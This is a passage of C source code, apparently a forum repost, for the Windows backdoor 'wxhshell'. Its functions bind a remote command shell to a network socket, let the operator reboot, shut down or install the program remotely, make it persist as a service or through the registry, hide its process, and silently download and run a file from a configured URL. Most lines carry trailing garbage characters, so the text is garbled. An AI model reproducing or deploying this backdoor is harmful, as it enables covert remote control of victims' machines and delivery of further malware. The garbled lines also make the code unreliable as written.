    switch(cmd[0]) { :YRzI(4J  
  'sjJSc  
  // 帮助 P$(iB.&  
  case '?': { +>i<sk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ ];6hxv  
    break; 9(N)MT5F  
  } ;)= zvr17  
  // 安装 p~d)2TC4#  
  case 'i': { #8Id:56  
    if(Install()) x^='pEt{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `!Ge"JB6   
    else jy__Y=1}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rmg";(I  
    break; \\R*V'e!  
    } tXG4A$(2&  
  // 卸载 BJO~$/R?v  
  case 'r': { Ng_rb KXC#  
    if(Uninstall()) !s[j1=y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]/V Iff  
    else vRb(eg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kq1M <lk  
    break; U+RCQTo  
    } *p#YK|  
  // 显示 wxhshell 所在路径 '/yx_R K2?  
  case 'p': { \")YKN=W  
    char svExeFile[MAX_PATH]; J\dhi{0  
    strcpy(svExeFile,"\n\r"); i:Z.;z$1  
      strcat(svExeFile,ExeFile); qLW-3W;WUH  
        send(wsh,svExeFile,strlen(svExeFile),0); 8#Z\}gGz  
    break; ukDH@/  
    } AZ]SRz9mKY  
  // 重启 sei!9+bZr  
  case 'b': { _KkVI7a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qYu!:xa8  
    if(Boot(REBOOT)) %wjU^Urya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H;7H6fyZ  
    else { Mi/'4~0Y  
    closesocket(wsh); Wn,g!rB^@  
    ExitThread(0); aXK%m  
    } yA>p[F  
    break; p2NB~t7Z  
    } ?xTeio44  
  // 关机 wgR@M[]o;  
  case 'd': { HG3>RcB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f+*2K^B  
    if(Boot(SHUTDOWN)) em9]WSfZ@`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zn 5m.=z  
    else { U/&qV"Ih  
    closesocket(wsh); AO7qs:+  
    ExitThread(0); h }%M  
    } $Q$d\Yvi  
    break; +U/"F|M  
    } a3 _0F@I  
  // 获取shell Y)5uK:)^  
  case 's': { -I-& <+7v  
    CmdShell(wsh); w*ktx{  
    closesocket(wsh); Cg\)BHv~  
    ExitThread(0); 0JRB Nh  
    break; ~ V- o{IA  
  } I/-w65J]  
  // 退出 eD1MP<>h  
  case 'x': { %Kfa|&'zV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?'#;Y"RT  
    CloseIt(wsh); adE0oXQH"  
    break; ?# c@Ag %  
    } PWD]qtr  
  // 离开 `IRT w"  
  case 'q': { 9C~GL,uKs  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Izg&u &  
    closesocket(wsh); vHe.+XY  
    WSACleanup(); 8=Y|B5   
    exit(1); Cv7RCjMw  
    break; %|* y/m  
        } C)^\?DH  
  } {Om3fSk:  
  } ] "vdC}  
m/B9)JzY  
  // 提示信息 F7Yuky  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l+X^x%EA  
} ,^66`C[G  
  } _r)nbQm&  
Yy~Dg  
  return; 9JeGjkG,  
} /!8:/7r+W  
J@{ Bv%  
// shell模块句柄 N5]68Fu'({  
int CmdShell(SOCKET sock) ",GC\#^v  
{ 1L9 <1  
STARTUPINFO si; ky"7 ^  
ZeroMemory(&si,sizeof(si)); . k DCcnm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1@@]h!>k:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mM~Q!`Nf.  
PROCESS_INFORMATION ProcessInfo; ;b2>y>?[  
char cmdline[]="cmd"; 3VgH* vAU}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B|w}z1.  
  return 0; YWd(xm"4  
} [vJosbU;  
7En~~J3  
// 自身启动模式 :P'5_YSi  
int StartFromService(void) M/ \~  
{ :udZfA\sW  
typedef struct xBd% e-r  
{ , >6X_XJQ  
  DWORD ExitStatus; 9$t@Gmn  
  DWORD PebBaseAddress; artS*fv3r  
  DWORD AffinityMask; Jx,s.Z0@7,  
  DWORD BasePriority; &$ 9bC 't6  
  ULONG UniqueProcessId; U_04QwhK7  
  ULONG InheritedFromUniqueProcessId; RR9s%>^  
}   PROCESS_BASIC_INFORMATION; {<Zqw]  
z}|'&O*.F  
PROCNTQSIP NtQueryInformationProcess; v7RDoO]I  
|MGw$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iWsIc\!+,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DenCD9 f  
+d. Bf  
  HANDLE             hProcess; oWT0WS  
  PROCESS_BASIC_INFORMATION pbi; Z!6G (zz:>  
Iu]P^8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^B>6 !  
  if(NULL == hInst ) return 0; xr-scdh2  
dWEx55>,1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o! N@W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dzap]RpB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ('Pd GV4V  
l K%Hb=  
  if (!NtQueryInformationProcess) return 0; p<NgT1"{  
n ~)%ou  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B;$5*3D+  
  if(!hProcess) return 0; TW$^]u~v  
a7R7Ks|q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aeIR}'H|  
2oRmro  
  CloseHandle(hProcess); GWsFW[T?~  
*HUqW}_r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xMu6PM<l  
if(hProcess==NULL) return 0; mv_-|N~  
-rBj-4|"  
HMODULE hMod; p_D)=Ef|&  
char procName[255]; %1<|.Dmd  
unsigned long cbNeeded; G9TUU.T  
Ki2_Nh>tM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s5 BV8 M  
>ZT3gp?E  
  CloseHandle(hProcess); A.Njn(z?Lz  
qp8;=Nfa  
if(strstr(procName,"services")) return 1; // 以服务启动 gvX7+F=}B  
X|:O`b$G  
  return 0; // 注册表启动 0&)4^->c  
} 43YusUv  
V3S`8VI  
// 主模块 `Bx CTwc  
int StartWxhshell(LPSTR lpCmdLine) ;NEHbLH#F  
{ H Zc;.jJ  
  SOCKET wsl; u<[Y6m  
BOOL val=TRUE; QCMF_;aNI  
  int port=0; b@k3y9 &  
  struct sockaddr_in door; {chl+au*l  
(,k=mF  
  if(wscfg.ws_autoins) Install(); .nnAI@7E  
5E]I  
port=atoi(lpCmdLine); 8V@3T/}  
8Vp"}(Q  
if(port<=0) port=wscfg.ws_port; $K hc?v  
gs'( px  
  WSADATA data; 2KU [Yd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uKplPze?  
 I2b[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   awUIYAgJ3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rd6?;K0  
  door.sin_family = AF_INET; 3OTSLF/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p AD@oPC  
  door.sin_port = htons(port); VHy$\5oYg  
#R &F  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9d v+u6)  
closesocket(wsl); aX~7NslR  
return 1; L(iWFy1& T  
} nI-\HAX  
FQ_4a}UOjX  
  if(listen(wsl,2) == INVALID_SOCKET) { w%kxY5q  
closesocket(wsl); (URWi caB  
return 1; Al! P=h  
} .Sm7na K  
  Wxhshell(wsl); y'{0|Xj  
  WSACleanup(); WVKzh  
Rv }e+5F  
return 0; x.!%'{+ {  
mN, Od?q[  
} \S _ycn  
2x0[@cT i?  
// 以NT服务方式启动 94A re<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i0hF9M  
{ wPOQy ~:  
DWORD   status = 0; AFyf7^^k  
  DWORD   specificError = 0xfffffff; /S%{`F=  
ka655O/)&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GC.   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .:E%cL +h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C/!kMMh>vV  
  serviceStatus.dwWin32ExitCode     = 0; ^2=11  
  serviceStatus.dwServiceSpecificExitCode = 0; Ft'?43J  
  serviceStatus.dwCheckPoint       = 0; h",kA(+P  
  serviceStatus.dwWaitHint       = 0; &G:#7HX@-  
w(0's'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ar }F^8Ku  
  if (hServiceStatusHandle==0) return; Cjdw@v0;  
*Mk5*_  
status = GetLastError();  s'RE~,  
  if (status!=NO_ERROR) `*^ f =y  
{ n'>`2 s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;.+sz(:hm  
    serviceStatus.dwCheckPoint       = 0; DHQavHqbZ  
    serviceStatus.dwWaitHint       = 0; R^4JM,v9x`  
    serviceStatus.dwWin32ExitCode     = status; eh`n?C  
    serviceStatus.dwServiceSpecificExitCode = specificError; ')zdI]@ M  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +/E`u|%|\]  
    return; VG'M=O{)3  
  } {oOzXc6o  
9l<f?OzAO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DvhJkdLB>  
  serviceStatus.dwCheckPoint       = 0; .'aW~WR  
  serviceStatus.dwWaitHint       = 0; ;W 16Hr Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,NB?_\$c  
} vr/*z euA  
N;gI %6  
// 处理NT服务事件,比如:启动、停止 H}vq2|MN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a*/%EP3  
{ `3GYV|LeQ  
switch(fdwControl) iW oe  
{ NpqK+GO  
case SERVICE_CONTROL_STOP: re[v}cB  
  serviceStatus.dwWin32ExitCode = 0; TuR.'kE@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?y"= jn  
  serviceStatus.dwCheckPoint   = 0; DNwqi"  
  serviceStatus.dwWaitHint     = 0; 6)5Akyz4V  
  { [ H|ifi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qGivRDR$  
  } T3H\KRe6  
  return; iTUOJ3V7i  
case SERVICE_CONTROL_PAUSE: K%i9S;~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a\_?zi]s&,  
  break; so=Ux2  
case SERVICE_CONTROL_CONTINUE: S1SsJo2\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <gfkbDP2  
  break; dkUh[yo"H  
case SERVICE_CONTROL_INTERROGATE: ` b$u w  
  break; ^&8FwV]  
}; &-R(u}m-F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZlEQzL~  
} *gGL5<%T:  
SyL:=NZ  
// 标准应用程序主函数 i`st'\I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,2>nr goM  
{ K."%PdC  
w%'8bH!  
// 获取操作系统版本 vXI2u;=y  
OsIsNt=GetOsVer(); YZ\a#s ,0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QtSJ9;eP  
?j:U<TY)  
  // 从命令行安装 +5<]s+4T  
  if(strpbrk(lpCmdLine,"iI")) Install(); )Up'W  
0D==0n  
  // 下载执行文件 qi51'@  
if(wscfg.ws_downexe) { 1ZZ}ojq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e09('SON(  
  WinExec(wscfg.ws_filenam,SW_HIDE); P&kjtl68 Y  
} :*g3PhNE  
$v \@mW*R  
if(!OsIsNt) { yH<a;@C  
// 如果时win9x,隐藏进程并且设置为注册表启动 GeydVT-  
HideProc(); j84g6;4Dv  
StartWxhshell(lpCmdLine); u&-Zh@;Q7  
} :i};]pR   
else d(t$riFX}  
  if(StartFromService()) }<=4A\LZ  
  // 以服务方式启动 rf\A[)<:  
  StartServiceCtrlDispatcher(DispatchTable); =G<i6%(^g  
else Xg^9k00C  
  // 普通方式启动 azKiXr#_(  
  StartWxhshell(lpCmdLine); ibj3i7G?  
|,)=-21&;  
return 0; "54t7  
}
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只看该作者 1 发表于: 2006-10-10
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